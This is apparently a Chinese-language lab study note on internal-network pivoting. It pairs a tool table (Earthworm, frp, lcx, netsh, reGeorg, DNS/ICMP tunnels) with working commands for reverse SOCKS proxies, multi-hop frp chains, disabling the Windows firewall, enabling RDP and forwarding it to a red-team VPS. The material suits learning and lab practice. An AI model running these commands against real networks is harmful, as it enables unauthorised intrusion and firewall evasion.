这几个概念其实是比较难区分的,特别是和后面的内网穿透混在一起,在宏观上说,他们差别不大。但是究其本质还是存在不小的差别的:
常用工具
工具名称 | 主要用途 | 平台 | 备注说明 |
---|---|---|---|
lcx | 端口映射 | Windows | 只支持tcp协议的端口转发,非系统内置。linux下叫做可以实现端口转发和端口映射 |
netsh | 端口映射 | Windows | 只支持tcp协议的端口转发,需要安装ipv6 |
rinetd | 反向代理 | Linux | 非内置,需要自行安装 |
Earthworm | 端口映射、Socks5代理 | Linux、Windows、MacOS、Arm-Linux | 非系统内置,可以十分方便的支持多级转发 |
frp | 高性能的反向代理应用 | go | 基于反向代理,可以十分灵活的进行内网穿透,绕过防火墙 |
reGeorg | Socks5代理 | 常用脚本语言 | reGeorg利用webshell建立一个socks代理进行内网穿透,服务器必须支持aspx、php、jsp、js等web语言 |
Metasploitportfwd | 端口映射 | MSF -> Metpreter会话 | 需要网络状况较好 |
socat | 端口映射 | Linux | 可能需要安装 |
Metasploit->socks4a | 反向代理 | MSF -> Metpreter会话 | 需要会话主机有外网代理IP |
tunna | HTTP隧道 | 常见脚本语言 | 需脚本环境执行,并且不太稳定 |
localtuuel | 内网公网映射 | nodejs | 和ngork一样可以实现内网到公网端口的映射 |
ngork | 内网公网映射 | go | 可以选择自建服务器或则和使用工具自带的服务器 |
dns2tcp | DNS隧道 | kali内置 | 防火墙过滤内部tcp出站策略的情况下,走DNS隧道,,通过DNS流量中继TCP连接 |
lodine | DNS隧道 | Linux | 原理上和dns2tcp类似 |
icmpsh | ICMP隧道 | 需要root权限 | 需要禁止系统对icmp的相应,用工具来处理收发icmp包 |
虚拟网络名称 | 网段 | DHCP |
---|---|---|
VMnet8 | 192.168.199.0/24 | 是 |
VMnet3 | 192.168.72.0/24 | 是 |
VMnet4 | 192.168.52.0/24 | 是 |
虚拟机 | 网段 | 虚拟机接口 |
---|---|---|
kali (跳板机) | 192.168.199.0/24 | VMnet8 |
Win2012 | 192.168.199.0/24 192.168.52.0/24 | VMnet8,VMnet4 |
Win2016 | 192.168.52.0/24 192.168.52.0/24 | VMnet4,VMnet3 |
Win2003 | 192.168.52.0/24 | VMnet3 |
(1条消息) 内网渗透工具Earthworm简单使用_@A1的博客-CSDN博客_earthworm工具
反向代理就是我们服务端监听,目标客户端连接我们的服务端,这就叫做反向代理。
kali当做服务端,把外网监听的888端口,转发到本地的1008端口
./ew_for_linux64 -s rcsocks -l 1008 -e 888
win2012作为边缘主机,连通外网与内网,将888端口与kali服务器间打通隧道
ew_for_Win.exe -s rssocks -d 192.168.199.175 -e 888
之后用phpstduy开启本地服务
物理机设置代理服务器(使用kali服务器作为代理跳板)
此时物理机并没有开启本地服务,但访问localhost后便自动代理到了Win12的本地服务中
代理到Win12后,由于Win12和Win2003处于同一内网,因此便通过跳板访问到了内网网络
服务端链接目标的客户端,称作反向代理。使用正向代理目标网络边界的机器需要关闭防火墙才能连接
首先目标客户端网络边界DMZ执行:
ew_for_Win.exe -s ssocksd -l 1080
将代理服务器设为网络边界主机ip,端口设为1080(有些工具默认为8888)即可
linux安装
wget https://github.com/fatedier/frp/releases/download/v0.42.0/frp_0.42.0_linux_amd64.tar.gz
tar -zxvf frp_0.42.0_linux_amd64.tar.gz
cp -r frp_0.42.0_linux_amd64 frp
cd frp
最开始接触frp就是针对于将本地服务,转发到公网,所以再复习一下
服务端
frps.ini
[common]
bind_port = 7000 //与客户端连接的端口
vhost_http_port = 80 //需要连接的客户端端口
./frps -c frps.ini
开启服务
客户端
frpc.ini
[web1]
type=tcp
local_ip = 127.0.0.1
local_port = 80 //需要转发的本地端口
remote_port = 1008 //将本地服务映射到服务端的1008端口
subdomain = Sentiment //如果需要配置http的话,则需设置域名
[common]
server_addr = 192.168.199.175 //服务端ip
server_port = 7000 //与服务端链接的端口
frpc.exe -c frpc.ini
开启服务
此时访问服务端的1008端口,即可远程访问到客户端的本地80服务
配置差不多,就是把客户端换成了sockts代理
frps.ini
[common]
bind_port = 7000
frpc.ini
[common]
server_addr = 192.168.199.175
server_port = 7000
[plugin_socks]
type=tcp
remote_port = 1008
plugin = socks5
此时用Proxifier配置代理服务器192.168.199.175:1008后,在物理机上访问127.0.0.1,就访问到了Win2012的本地80端口
# [common] 是必需的
[common]
# ipv6的文本地址或主机名必须括在方括号中
# 如"[::1]:80", "[ipv6-host]:http" 或 "[ipv6-host%zone]:80"
bind_addr = 0.0.0.0
bind_port = 7000
# udp nat 穿透端口
bind_udp_port = 7001
# 用于 kcp 协议 的 udp 端口,可以与 "bind_port" 相同
# 如果此项不配置, 服务端的 kcp 将不会启用
kcp_bind_port = 7000
# 指定代理将侦听哪个地址,默认值与 bind_addr 相同
# proxy_bind_addr = 127.0.0.1
# 如果要支持虚拟主机,必须设置用于侦听的 http 端口(非必需项)
# 提示:http端口和https端口可以与 bind_port 相同
vhost_http_port = 80
vhost_https_port = 443
# 虚拟 http 服务器的响应头超时时间(秒),默认值为60s
# vhost_http_timeout = 60
# 设置 dashboard_addr 和 dashboard_port 用于查看 frps 仪表盘
# dashboard_addr 默认值与 bind_addr 相同
# 只有 dashboard_port 被设定,仪表盘才能生效
dashboard_addr = 0.0.0.0
dashboard_port = 7500
# 设置仪表盘用户密码,用于基础认证保护,默认为 admin/admin
dashboard_user = admin
dashboard_pwd = admin
# 仪表板资产目录(仅用于 debug 模式下)
# assets_dir = ./static
# 控制台或真实日志文件路径,如./frps.log
log_file = ./frps.log
# 日志级别,分为trace(跟踪)、debug(调试)、info(信息)、warn(警告)、error(错误)
log_level = info
# 最大日志记录天数
log_max_days = 3
# 认证 token
token = 12345678
# 心跳配置, 不建议对默认值进行修改
# heartbeat_timeout 默认值为 90
# heartbeat_timeout = 90
# 允许 frpc(客户端) 绑定的端口,不设置的情况下没有限制
allow_ports = 2000-3000,3001,3003,4000-50000
# 如果超过最大值,每个代理中的 pool_count 将更改为 max_pool_count
max_pool_count = 5
# 每个客户端可以使用最大端口数,默认值为0,表示没有限制
max_ports_per_client = 0
# 如果 subdomain_host 不为空, 可以在客户端配置文件中设置 子域名类型为 http 还是 https
# 当子域名为 test 时, 用于路由的主机为 test.frps.com
subdomain_host = frps.com
# 是否使用 tcp 流多路复用,默认值为 true
tcp_mux = true
# 对 http 请求设置自定义 404 页面
# custom_404_page = /path/to/404.html
# [common] 是必需的
[common]
# ipv6的文本地址或主机名必须括在方括号中
# 如"[::1]:80", "[ipv6-host]:http" 或 "[ipv6-host%zone]:80"
server_addr = 0.0.0.0
server_port = 7000
# 如果要通过 http 代理或 socks5 代理连接 frps,可以在此处或全局代理中设置 http_proxy
# 只支持 tcp协议
# http_proxy = http://user:[email protected]:8080
# http_proxy = socks5://user:[email protected]:1080
# 控制台或真实日志文件路径,如./frps.log
log_file = ./frpc.log
# 日志级别,分为trace(跟踪)、debug(调试)、info(信息)、warn(警告)、error(错误)
log_level = info
# 最大日志记录天数
log_max_days = 3
# 认证 token
token = 12345678
# 设置能够通过 http api 控制客户端操作的管理地址
admin_addr = 127.0.0.1
admin_port = 7400
admin_user = admin
admin_pwd = admin
# 将提前建立连接,默认值为 0
pool_count = 5
# 是否使用 tcp 流多路复用,默认值为 true,必需与服务端相同
tcp_mux = true
# 在此处设置用户名后,代理名称将设置为 {用户名}.{代理名}
user = your_name
# 决定第一次登录失败时是否退出程序,否则继续重新登录到 frps
# 默认为 true
login_fail_exit = true
# 用于连接到服务器的通信协议
# 目前支持 tcp/kcp/websocket, 默认 tcp
protocol = tcp
# 如果 tls_enable 为 true, frpc 将会通过 tls 连接 frps
tls_enable = true
# 指定 DNS 服务器
# dns_server = 8.8.8.8
# 代理名, 使用 ',' 分隔
# 默认为空, 表示全部代理
# start = ssh,dns
# 心跳配置, 不建议对默认值进行修改
# heartbeat_interval 默认为 10 heartbeat_timeout 默认为 90
# heartbeat_interval = 30
# heartbeat_timeout = 90
# 'ssh' 是一个特殊代理名称
[ssh]
# 协议 tcp | udp | http | https | stcp | xtcp, 默认 tcp
type = tcp
local_ip = 127.0.0.1
local_port = 22
# 是否加密, 默认为 false
use_encryption = false
# 是否压缩
use_compression = false
# 服务端端口
remote_port = 6001
# frps 将为同一组中的代理进行负载平衡连接
group = test_group
# 组应该有相同的组密钥
group_key = 123456
# 为后端服务开启健康检查, 目前支持 'tcp' 和 'http'
# frpc 将连接本地服务的端口以检测其健康状态
health_check_type = tcp
# 健康检查连接超时
health_check_timeout_s = 3
# 连续 3 次失败, 代理将会从服务端中被移除
health_check_max_failed = 3
# 健康检查时间间隔
health_check_interval_s = 10
[ssh_random]
type = tcp
local_ip = 127.0.0.1
local_port = 22
# 如果 remote_port 为 0 ,frps 将为您分配一个随机端口
remote_port = 0
# 如果要暴露多个端口, 在区块名称前添加 'range:' 前缀
# frpc 将会生成多个代理,如 'tcp_port_6010', 'tcp_port_6011'
[range:tcp_port]
type = tcp
local_ip = 127.0.0.1
local_port = 6010-6020,6022,6024-6028
remote_port = 6010-6020,6022,6024-6028
use_encryption = false
use_compression = false
[dns]
type = udp
local_ip = 114.114.114.114
local_port = 53
remote_port = 6002
use_encryption = false
use_compression = false
[range:udp_port]
type = udp
local_ip = 127.0.0.1
local_port = 6010-6020
remote_port = 6010-6020
use_encryption = false
use_compression = false
# 将域名解析到 [server_addr] 可以使用 http://web01.yourdomain.com 访问 web01
[web01]
type = http
local_ip = 127.0.0.1
local_port = 80
use_encryption = false
use_compression = true
# http 协议认证
http_user = admin
http_pwd = admin
# 如果服务端域名为 frps.com, 可以通过 http://test.frps.com 来访问 [web01]
subdomain = web01
custom_domains = web02.yourdomain.com
# locations 仅可用于HTTP类型
locations = /,/pic
host_header_rewrite = example.com
# params with prefix "header_" will be used to update http request headers
header_X-From-Where = frp
health_check_type = http
# frpc 将会发送一个 GET http 请求 '/status' 来定位http服务
# http 服务返回 2xx 状态码时即为存活
health_check_url = /status
health_check_interval_s = 10
health_check_max_failed = 3
health_check_timeout_s = 3
[web02]
type = https
local_ip = 127.0.0.1
local_port = 8000
use_encryption = false
use_compression = false
subdomain = web01
custom_domains = web02.yourdomain.com
# v1 或 v2 或 空
proxy_protocol_version = v2
[plugin_unix_domain_socket]
type = tcp
remote_port = 6003
plugin = unix_domain_socket
plugin_unix_path = /var/run/docker.sock
[plugin_http_proxy]
type = tcp
remote_port = 6004
plugin = http_proxy
plugin_http_user = abc
plugin_http_passwd = abc
[plugin_socks5]
type = tcp
remote_port = 6005
plugin = socks5
plugin_user = abc
plugin_passwd = abc
[plugin_static_file]
type = tcp
remote_port = 6006
plugin = static_file
plugin_local_path = /var/www/blog
plugin_strip_prefix = static
plugin_http_user = abc
plugin_http_passwd = abc
[plugin_https2http]
type = https
custom_domains = test.yourdomain.com
plugin = https2http
plugin_local_addr = 127.0.0.1:80
plugin_crt_path = ./server.crt
plugin_key_path = ./server.key
plugin_host_header_rewrite = 127.0.0.1
[secret_tcp]
# 如果类型为 secret tcp, remote_port 将失效
type = stcp
# sk 用来进行访客认证
sk = abcdefg
local_ip = 127.0.0.1
local_port = 22
use_encryption = false
use_compression = false
# 访客端及服务端的用户名应该相同
[secret_tcp_visitor]
# frpc role visitor -> frps -> frpc role server
role = visitor
type = stcp
# 要访问的服务器名称
server_name = secret_tcp
sk = abcdefg
# 将此地址连接到访客 stcp 服务器
bind_addr = 127.0.0.1
bind_port = 9000
use_encryption = false
use_compression = false
[p2p_tcp]
type = xtcp
sk = abcdefg
local_ip = 127.0.0.1
local_port = 22
use_encryption = false
use_compression = false
[p2p_tcp_visitor]
role = visitor
type = xtcp
server_name = p2p_tcp
sk = abcdefg
bind_addr = 127.0.0.1
bind_port = 9001
use_encryption = false
use_compression = false
netsh (Networ Shell)是一个Windows系统本身提供的功能强大的网络配置命令行工具。
通过使用netsh进行端口转发的条件是必须是管理员(administrator)权限。
1、首先查看一下防火墙设置:
netsh firewall show config
可以看到当前的操作模式是启用的,所以需要关闭防火墙才能进行接下来的操作
2、关闭防火墙(管理员权限):
netsh advfirewall set allprofiles state off
3、开启3389远程服务
关闭则是把0改成1
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f
4、若管理员设置了入站规则即:外网不能连接3389则需添加入站规则:
添加一个Sentiment规则,走TCP协议,开一个10086端口
netsh advfirewall firewall add rule name="Sentiment" dir=in action=allow protocol=TCP localport=10086
通过IPv4吧本地127.0.0.1的内网3389端口转发到外网的10086端口
netsh interface portproxy add v4tov4 listenport=10086 connectaddress=127.0.0.1 connectport=3389
查看防火墙状态
netsh firewall show state
查看所有转发规则
netsh interface portproxy show all
-------------------------------------------------
删除规则
netsh advfirewall firewall delete rule name="Sentiment" dir=in action=allow protocol=TCP localport=10086
netsh interface portproxy delete v4tov4 listenport=10086
添加规则后,查看转发规则,添加成功
此时通过10086端口即可实现远程链接
若链接未成功则是因为:
connectport - 一个TCP端口,来自listenport的连接会被转发到该端口。假设当前我们的RDP服务端口在一个非标准端口上进行响应,如10086。为此,我们需要将传入流量从TCP端口10086重定向到另一个本地端口 - 3389(即标准rdp端口)。
还需设置:
netsh interface portproxy add v4tov4 listenport=10086 listenaddress=192.168.199.177 connectport=3389 connectaddress=192.168.199.177
listenaddress - 等待连接的本地IP地址。
listenport - 本地侦听TCP端口。
connectaddress - 将传入连接重定向到本地或远程IP地址(或DNS名称)。
5、删除规则
#删除指定的端口转发规则:
netsh interface portproxy delete v4tov4 listenport=10086 listenaddress=192.168.199.177
#删除所有当前端口转发规则:
netsh interface portproxy reset
lcx端口转发_全局变量Global的博客-CSDN博客_lcx端口转发
lcx是一款很经典的端口转发工具,同时它也是一个基于socket套接字实现的端口转发工具,有windows (Ilcx.exe)和linux(portmap)两个版本。
1、在目标机器上执行如下命令,将目标客户端网络边界DMZ(192.168.199.177)3389端口的所有数据转发到红队服务端VPS (10.242.66.95)的4444端口上:
lcx.exe -slave 10.242.66.95 4444 127.0.0.1 3389
2、将本机的4444端口上监听的所有数据转发到本机的5555端上:
lcx.exe -listen 4444 5555
3、mstsc连接本机的3389端口,即连接到了远程的192.168.199.177的3389
此时用Proxifier配置代理服务器192.168.199.175:1008后,在物理机上访问127.0.0.1,就访问到了Win2012的本地80端口
frps.ini
#win10
[common]
bind_port = 7000
frps.exe -c frps.ini
开启服务
frpc.ini
#win2012
[common]
server_addr = 10.242.66.95
server_port = 7000
[http_proxy]
type=tcp
remote_port = 6000
plugin = socks5
frpc.exe -c frpc.ini
开启服务
此时代理localhost:6000后即可访问win2012和win2016开启的服务
保持一级代理(因为根据实际情况若关闭一级代理,则在设置第二层代理时,就无法成功访问到Win2016的主机)
再开启一次服务,通过7788端口建立链接,将win2012的1080端口接受的数据转发到win10的1080端口上
frps.ini
#win10
[common]
bind_addr = 0.0.0.0
bind_port = 7788
frps.exe -c frps.ini
开启服务
frpc.ini
#win2012
[common]
server_addr = 10.242.66.95
server_port = 7788
[http_proxy]
type = tcp
local_ip = 192.168.52.135
local_port = 1080
remote_port = 1080
frpc.exe -c frpc.ini
开启服务
再将win2012和win2016通过7799端口建立连接,接着将Win2016的内容转发到Win2012的1080端口上
这样Win2016的服务转发给了Win2012的1080,而Win2012的1080又转发给了win10,至此经过一级级转发将Win2016转发给了Win10
frps.ini
#win2012
[common]
bind_addr = 192.168.52.135
bind_port = 7799
frpc.ini
#win2016
[common]
server_addr = 192.168.52.135
server_port = 7799
[http_proxy]
type = tcp
remote_port = 1080
plugin = socks5
此时代理localhost:1080后即可访问win2016和win2003开启的服务
https://www.wangan.com/p/7fygfy3035609b76